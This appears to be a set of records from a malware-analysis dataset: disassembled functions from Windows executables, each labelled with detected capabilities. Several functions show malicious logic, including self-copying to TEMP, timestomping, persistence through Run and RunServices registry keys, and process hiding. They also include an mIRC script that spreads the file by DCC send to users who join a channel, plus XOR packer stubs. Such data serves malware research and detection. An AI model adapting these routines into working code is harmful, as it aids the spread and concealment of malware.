joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a90
Capabilities:
Copy file
Query environment variable
Read file on windows

Disassembly:
sub esp, 0x108
lea eax, [esp + 4]
push ebx
push esi
push edi
push 0x104
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov edi, str.dfdxbkmt.wbk
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x40cde0
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
push 0
push 3
push 0
push 0
lea ecx, [esp + 0x24]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edx, dword [0x40b030]
mov esi, eax
push edx
call fcn.00403730
mov edx, dword [0x40b030]
add esp, 4
lea ecx, [esp + 0xc]
mov dword [0x40cbd0], eax
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x108
ret
Function at 0x401b50
Capabilities:
Get file attributes
Parse pe header
Read file on windows
Set file attributes
Timestomp file

Disassembly:
sub esp, 0x104
push ebx
push ebp
mov ebp, dword [esp + 0x110]
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test al, 1
mov dword [0x40cbb4], eax
je 0x401b81
xor eax, 1
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov eax, dword [0x40cbb4]
push 0
push eax
push 3
push 0
push 3
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401bb7
mov eax, dword [0x40cbb4]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
push 0x40cb98
push 0x40cba0
push 0x40cba8
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x1c]
push 0x100
push edx
push esi
call ebx
cmp dword [esp + 0x10], 0x100
je 0x401c05
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
cmp word [esp + 0x14], 0x5a4d
je 0x401c1b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
mov eax, dword [esp + 0x51]
mov ecx, dword [esp + 0x50]
and eax, 0xff
and ecx, 0xff
shl eax, 8
push 0
add eax, ecx
push 0
push eax
push esi
mov edi, 1
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x100
push eax
push esi
call ebx
cmp dword [esp + 0x10], 0x100
je 0x401c76
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
mov eax, dword [esp + 0x14]
and eax, 0xffff
cmp eax, 0x4550
jg 0x401ca9
je 0x401ca2
sub eax, 0x454c
je 0x401c9b
sub eax, 2
jne 0x401cb5
mov edi, 2
jmp 0x401cb5
mov edi, 4
jmp 0x401cb5
mov edi, 3
jmp 0x401cb5
cmp eax, 0x584c
jne 0x401cb5
mov edi, 5
push 0x40cb98
push 0x40cba0
push 0x40cba8
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [0x40cbb4]
push ecx
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x401cf0
Capabilities:
Create process on windows
Get common file path
Query environment variable

Disassembly:
sub esp, 0x208
lea eax, [esp + 0x104]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
mov edi, 0x40cde0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x108]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, ecx
cmp edx, 0xf
jle 0x401dc9
push ebx
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov edi, str.HELPME.TXT
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40b748
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.0040389e
mov esi, eax
push str.My_boss_has_fired_me_and_right_now_I_am_unemployed..._What_do_I_do_
push esi
call fcn.0040384c
push esi
call fcn.004037f6
add esp, 0x14
lea ecx, [esp + 0xc]
push 5
push 0x40d004
push 0x40d004
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x208
ret
mov eax, dword [0x40cbcc]
push 0x10
cmp eax, 1
push str.Error
jne 0x401df1
push str.This_ScreenSaver_is_for_Windows_9x_Only.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop edi
add esp, 0x208
ret
push str.This_ScreenSaver_is_for_Windows_NT2000_Only.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop edi
add esp, 0x208
ret

Function at 0x401e10
Capabilities:
Copy file
Set file attributes
Write file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 1
push edi
push 0x40cde0
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
mov eax, dword [0x40b034]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x2e8
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x20
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
xor eax, eax
pop esi
ret
Function at 0x4021d0
Capabilities:
Create thread

Disassembly:
sub esp, 0x30
mov dword [0x40cffc], 1
push ebx
push 1
call fcn.00403410
add esp, 4
xor ebx, ebx
push ebx
push str.WinKernel32
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x402207
mov dword [0x40cffc], ebx
xor eax, eax
pop ebx
add esp, 0x30
ret
push esi
mov esi, dword [esp + 0x3c]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
mov dword [0x40cbc0], ebx
mov dword [esp + 0x14], 0x30
mov dword [esp + 0x18], 3
mov dword [esp + 0x3c], str.WinKernel32
mov dword [esp + 0x1c], 0x402300
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], esi
call edi
push 0x7f00
push ebx
mov dword [esp + 0x2c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x20]
push 0x7f00
push eax
mov dword [esp + 0x34], 6
mov dword [esp + 0x38], 0x6d
mov dword [esp + 0x3c], str.WinKernel32
call edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x38], eax
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push ebx
push esi
push ebx
push ebx
push ebx
push 0x80000000
push ebx
push 0x80000000
push 0xcf0000
push 0x40d004
push str.WinKernel32
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x40cbc8], eax
mov eax, dword [0x40cbc4]
pop edi
cmp eax, ebx
pop esi
jne 0x4022e8
lea edx, [esp + 0x38]
push edx
push ebx
push ebx
push 0x4029a0
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x40cbc4], 1
mov eax, 1
pop ebx
add esp, 0x30
ret

Function at 0x4023e0
Capabilities:
Copy file
Delete file
Get file size
Query environment variable

Disassembly:
sub esp, 0x114
lea eax, [esp + 0x10]
push ebx
push esi
push edi
push 0x104
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
push 0x3e7
call fcn.004023b0
push eax
lea ecx, [esp + 0x14]
push str.TMP___d.TMP
push ecx
call fcn.004037a4
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
lea eax, [esp + 0x20]
and ecx, 3
push eax
push 0x40cde0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
push 2
push 3
push 0
push 0
lea ecx, [esp + 0x30]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ecx, dword [0x40b030]
push esi
cmp eax, ecx
je 0x4024a9
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x114
ret
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x114
ret
Function at 0x4024d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x418
mov ecx, dword [str.F5DC0159]
mov eax, dword [0x40bd3c]
mov edx, dword [0x40bd44]
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [esp + 0x10], ecx
push esi
lea ecx, [esp + 0xc]
push edi
push ecx
push 0xf003f
mov dword [esp + 0x1c], eax
mov al, byte [0x40bd48]
push 0
push str.SoftwareNico_Mak_ComputingWinZipWinIni
push 0x80000001
mov dword [esp + 0x30], edx
mov byte [esp + 0x34], al
mov dword [esp + 0x38], 0x400
call ebp
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x24]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0x40bd0c
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4025b4
mov esi, 0x40d004
lea eax, [esp + 0x28]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40257d
test cl, cl
je 0x402579
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40257d
add eax, 2
add esi, 2
test cl, cl
jne 0x402559
xor eax, eax
jmp 0x402582
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4025e2
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 1
push 0
push str.Name
push ecx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 9
push edx
push 1
push 0
push 0x40bd0c
push eax
jmp 0x4025e0
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 1
push 0
push str.Name
push edx
call edi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 9
push eax
push 1
push 0
push 0x40bd0c
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push str.SoftwareNico_Mak_ComputingWinZipWinIni
push 0x80000002
call ebp
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push 0
push 0x40bd0c
push eax
call ebx
test eax, eax
jne 0x40268b
mov esi, 0x40d004
lea eax, [esp + 0x28]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402654
test cl, cl
je 0x402650
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402654
add eax, 2
add esi, 2
test cl, cl
jne 0x40262c
xor eax, eax
jmp 0x402659
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4026b9
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 1
push 0
push str.Name
push ecx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 9
push edx
push 1
push 0
push 0x40bd0c
push eax
jmp 0x4026b7
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 1
push 0
push str.Name
push edx
call edi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 9
push eax
push 1
push 0
push 0x40bd0c
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x418
ret
Function at 0x402df0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
mov esi, dword [esp + 0x114]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xa
push ecx
call fcn.00403730
mov ebx, eax
push esi
push str._sscript.ini
push ebx
call fcn.004037a4
mov edi, 0x40ccdc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x18
push ecx
call fcn.00403730
mov ebp, eax
mov edi, 0x40ccdc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x14
push ecx
call fcn.00403730
add esp, 0x18
mov edi, eax
mov dword [esp + 0x10], edi
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x40ccdc
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
jne 0x402e99
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40cbd8
push str.n2___.dcc_send__nick__s_n
push ebp
call fcn.004037a4
push 0x40cbd8
jmp 0x402eb5
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40ccdc
push str.n2___.dcc_send__nick__s_n
push ebp
call fcn.004037a4
push 0x40ccdc
push str.___.dcc_send__nick__s_n
push edi
call fcn.004037a4
add esp, 0x18
push 0x40b748
push ebx
call fcn.0040389e
mov edi, eax
add esp, 8
test edi, edi
je 0x402f13
push str._script__n
push edi
call fcn.0040384c
push str.n0on_1:JOIN::_n
push edi
call fcn.0040384c
push str.n1___if____nick___me____halt__n
push edi
call fcn.0040384c
push ebp
push edi
call fcn.0040384c
push str.n3_n
push edi
call fcn.0040384c
push edi
call fcn.004037f6
add esp, 0x2c
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 8
push ecx
call fcn.00403730
mov edi, eax
push esi
push str._smirc.ini
push edi
call fcn.004037a4
add esp, 0x10
lea eax, [esp + 0x14]
push edi
push 0xff
push eax
push str.Default
push 0x40c00c
push str.rfiles
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
test eax, eax
jne 0x402f72
lea ecx, [esp + 0x14]
push 0x40b618
push ecx
call fcn.004039b5
add esp, 8
mov ebx, eax
jmp 0x402f76
mov ebx, dword [esp + 0x10]
push str.script.ini
push ebx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403016
push str.Default
push ebx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403016
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
push edx
call fcn.00403730
push ebx
mov edi, eax
push esi
push str._s_s
push edi
call fcn.004037a4
push 0x40b748
push edi
call fcn.0040389e
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x403016
push str.on_1:JOIN::_n
push esi
call fcn.0040384c
push str.___if____nick___me____halt__n
push esi
call fcn.0040384c
mov eax, dword [esp + 0x20]
push eax
push esi
call fcn.0040384c
push 0x40bfc0
push esi
call fcn.0040384c
push esi
call fcn.004037f6
add esp, 0x24
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x403410
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x98
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [esp + 0x14], 1
jne 0x403483
mov eax, dword [esp + 0x9c]
mov dword [0x40cbcc], 0
test eax, eax
jne 0x403470
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.RegisterServiceProcess
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 1
push 0
mov dword [0x40cbd4], eax
call eax
xor eax, eax
add esp, 0x98
ret
lea ecx, [esp]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
jmp 0x4034a9
mov eax, dword [esp + 0x9c]
mov dword [0x40cbcc], 1
test eax, eax
jne 0x4034dd
lea ecx, [esp]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp]
push 0x104
push 0x40cde0
push 1
push 0
push str.WinKernel
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0x98
ret
Function at 0x4061e1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c4e0
cmp edx, dword [eax]
je 0x406203
add eax, 8
inc ecx
cmp eax, 0x40c570
jl 0x4061f4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c4e0]
jne 0x406331
mov eax, dword [0x40d02c]
cmp eax, 1
je 0x40630b
test eax, eax
jne 0x406234
cmp dword [0x40c214], 1
je 0x40630b
cmp edx, 0xfc
je 0x406331
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x40626b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407bc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004069e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4062ae
lea eax, [ebp - 0x1a4]
push eax
call fcn.004069e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40a4dc
push edi
call fcn.00408070
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407bc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407bd0
lea eax, [ebp - 0xa0]
push 0x40a4bc
push eax
call fcn.00407bd0
push dword [esi + 0x40c4e4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407bd0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407fe5
add esp, 0x2c
pop edi
jmp 0x406331
lea eax, [ebp + 8]
lea esi, [esi + 0x40c4e4]
push 0
push eax
push dword [esi]
call fcn.004069e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret
Function at 0x10004160
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionNetworkPlatformLocation_Awareness
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100041c3
push 0x380
push dword [ebp + 0xc]
push 3
push eax
push str.LastBackup
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
test eax, eax
je 0x100041c9
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100049c0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3a0
mov eax, dword [0x10018008]
xor eax, esp
mov dword [esp + 0x39c], eax
movaps xmm0, xmmword [str.F147EC_C7F5_F89]
lea eax, [esp + 0x380]
push esi
push edi
push eax
push 1
push 0
movups xmmword [esp + 0x394], xmm0
mov dword [esp + 0x3a4], 0x394a2d41
mov dword [esp + 0x3a8], 0x44353941
mov word [esp + 0x3ac], 0x7d
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test esi, esi
je 0x10004a43
test al, al
je 0x10004a59
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x39c]
xor ecx, esp
call fcn.1000599e
mov esp, ebp
pop ebp
ret
mov ecx, 0xe0
lea edi, [esp + 8]
mov esi, str.NetworkProtocolHelper
xor eax, eax
rep movsd dword es:[edi], dword [esi]
nop dword [eax + eax]
mov cl, byte [esp + eax + 0xc8]
lea eax, [eax + 1]
mov byte [eax + 0x1001b71f], cl
test cl, cl
jne 0x10004a70
push ecx
lea eax, [esp + 0xc]
push eax
push ecx
call fcn.10004160
mov ecx, dword [esp + 0x3b0]
add esp, 0xc
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.1000599e
mov esp, ebp
pop ebp
ret

Function at 0x10004cc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
test edi, edi
je 0x10004d2e
cmp dword [0x1001b718], 0
jne 0x10004cef
push 4
call fcn.100059af
add esp, 4
mov dword [0x1001b718], eax
mov dword [eax], 0
mov dword [eax], vtable.PluginProvider.0
push esi
push 4
call fcn.100059af
mov ecx, dword [0x1001b718]
mov esi, eax
push 8
mov dword [esi], ecx
call fcn.100059af
add esp, 8
lea ecx, [ebp - 4]
mov dword [eax + 4], edi
push ecx
push 0
push eax
push 0x10004ca0
push 0
mov dword [eax], esi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x1c6d4f70
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
mov eax, section..didat
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x2b8374b8
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219